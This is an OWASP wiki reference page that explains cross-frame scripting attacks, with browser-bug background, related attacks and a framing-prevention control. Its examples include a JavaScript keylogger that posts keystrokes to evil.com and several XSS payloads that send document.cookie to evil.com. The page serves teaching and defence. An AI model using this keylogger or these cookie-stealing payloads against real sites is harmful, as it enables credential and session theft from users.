Cross Frame Scripting

From OWASP

> *This is an **Attack**. To view all attacks, please see the Attack Category page.*

Description

Cross-Frame Scripting (XFS) is an attack that combines malicious JavaScript with an iframe that loads a legitimate page in an effort to steal data from an unsuspecting user. This attack is usually only successful when combined with social engineering. An example would consist of an attacker convincing the user to navigate to a web page the attacker controls. The attacker's page then loads malicious JavaScript and an HTML iframe pointing to a legitimate site. Once the user enters credentials into the legitimate site within the iframe, the malicious JavaScript steals the keystrokes.

Risk Factors

The standard browser security model allows JavaScript from one web page to access the content of other pages that have been loaded in different browser windows or frames as long as those other pages have been loaded from the same-origin server or domain. It does not allow access to pages that have been loaded from different servers or domains (see MSDN article About Cross-Frame Scripting and Security (http://msdn.microsoft.com/en-us/library/ms533028%28VS.85%29.aspx)). However, specific bugs in this security model exist in specific browsers, allowing an attacker to access some data in pages loaded from different servers or domains. The most well-known such bug affects IE, which leaks keyboard events across HTML framesets (see iDefense Labs advisory Microsoft Internet Explorer Cross Frame Scripting Restriction Bypass (http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=77)). This bug could allow, for example, an attacker to steal the login credentials of a browser user as he or she tries to type them into the login form of a third-party web page.

Examples

XFS Attack Against IE

To exploit the IE bug which leaks keyboard events across framesets, an attacker may create a web page at evil.com, which the attacker controls, and include on the evil.com page a visible frame displaying the login page for example.com. The attacker can hide the frame's borders and expand the frame to cover the entire page, so that it looks to the browser user like he or she is actually visiting example.com The attacker registers some javascript in the main evil.com page which listens for all key events on the page. Normally, this listener would be notified of events only from the main evil.com page -- but because of the browser bug, this listener is notified also of events from the framed example.com page. So every key press the browser user makes in the example.com frame, while trying to log into example.com, can be captured by the attacker, and reported back to evil.com:

```
<!-- http://evil.com/example.com-login.html -->
<head>
<script>
// array of user keystrokes
var keystrokes = [];
// event listener which captures user keystrokes
document.onkeypress = function() {
    keystrokes.push(window.event.keyCode);
}
// function which reports keytrokes back to evil.com every second
setInterval(function() {
    if (keystrokes.length) {
        var xhr = newXHR();
        xhr.open("POST", "http://evil.com/k");
        xhr.send(keystrokes.join("+"));
    }
    keystrokes = [];
}, 1000);
// function which creates an ajax request object
function newXHR() {
    if (window.XMLHttpRequest)
        return new XMLHttpRequest();
    return new ActiveXObject("MSXML2.XMLHTTP.3.0");
}
</script>
</head>
<!-- re-focusing to this frameset tricks browser into leaking events -->
<frameset onload="this.focus()" onblur="this.focus()">
<!-- frame which embeds example.com login page -->
<frame src="http://example.com/login.html">
</frameset>
```

XSS Attack Using Frames

To exploit a Cross Site Scripting Flaw on a third-party web page at example.com, the attacker could create a web page at evil.com, which the attacker controls, and include a hidden iframe in the evil.com page. The iframe loads the flawed example.com page, and injects some script into it through the XSS flaw. In this example, the example.com page prints the value of the "q" query parameter from the page's URL in the page's content without escaping the value. This allows the attacker to inject some javascript into the example.com page which steals the browser-user's example.com cookie, and sends the cookie via a fake-image request to evil.com (the iframe's src URL is wrapped for legibility):

```
<iframe style="position:absolute;top:-9999px" src="http://example.com/↵
    flawed-page.html?q=<script>document.write('<img src=\"http://evil.com/↵
    ?c='+encodeURIComponent(document.cookie)+'\">')</script>"></iframe>
```

The iframe is hidden off-screen, so the browser user won't have any idea that he or she just "visited" the example.com page. However, this attack is effectively the same as a conventional XSS attack, since the attacker could have simply redirected the user directly to the example.com page, using a variety of methods, including a meta element like this (again, the meta element's URL is wrapped for legibility):

```
<meta http-eqiv="refresh" content="1;url=http://example.com/↵
    flawed-page.html?q=<script>document.write('<img src=\"http://evil.com/↵
    ?c='+encodeURIComponent(document.cookie)+'\">')</script>">
```

The only difference is that when using an iframe, the attacker can hide the frame off-screen -- so the browser user won't have any idea that he or she just "visited" example.com. When using a redirect to navigate directly to example.com, the browser will display the example.com url in

the browser's address bar, and the example.com page in the browser's window, so the browser user will be aware that he or she is visiting example.com.

Another XSS Attack Using Frames

To exploit the same Cross Site Scripting Flaw as above at example.com (which prints the value of the "q" query parameter from the page's URL in the page's content without escaping the value) the attacker could create a web page at evil.com, which the attacker controls, that includes a link like the following, and induce the user to click on the link. This link injects an iframe into the example.com page by exploiting the XSS flaw with the "q" query parameter; the iframe runs some javascript to steal the browser–user's example.com cookie, and sends it via a fake–image request to evil.com (the URL is wrapped for legibility):

```
http://example.com/flawed-page.html?=<iframe src="↵
    javascript:document.body.innerHTML=+'<img src=\"http://evil.com/↵
    ?c='+encodeURIComponent(document.cookie)+'\">'"></iframe>
```

Again, this attack is effectively the same as a conventional XSS attack; the attacker simply uses the src attribute of the injected iframe element as a vehicle to run some javascript code in the attacked page.

Related Threat Agents

- An XFS attack generally is carried out by a malicious Category:Internet attacker.
- An XFS attack exploiting a browser bug which leaks events across frames is similar to an attack which uses conventional key–logging software.

Related Attacks

- An attacker might use a hidden frame to carry out a Cross–site Scripting (XSS) attack.
- An attacker might use a hidden frame to carry out a Cross–Site Request Forgery (CSRF) attack.
- An attacker might use a visible frame to carry out a Clickjacking attack.
- An XFS attack exploiting a browser bug which leaks events across frames is a form of a Phishing attack (the attacker lures the user into typing–in sensitive information into a frame containing a legitimate third–party page).

Related Vulnerabilities

- XFS attacks exploit specific browser bugs.

Related Controls

- XFS attacks may denied by preventing the third–party web page from being framed; the techniques used to do this are the same as those used for Clickjacking Protection for Java EE.

References

- MSDN article About Cross-Frame Scripting and Security (http://msdn.microsoft.com/en-us/library/ms533028%28VS.85%29.aspx)
- iDefense Labs advisory Microsoft Internet Explorer Cross Frame Scripting Restriction Bypass (http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=77)

Category: Attack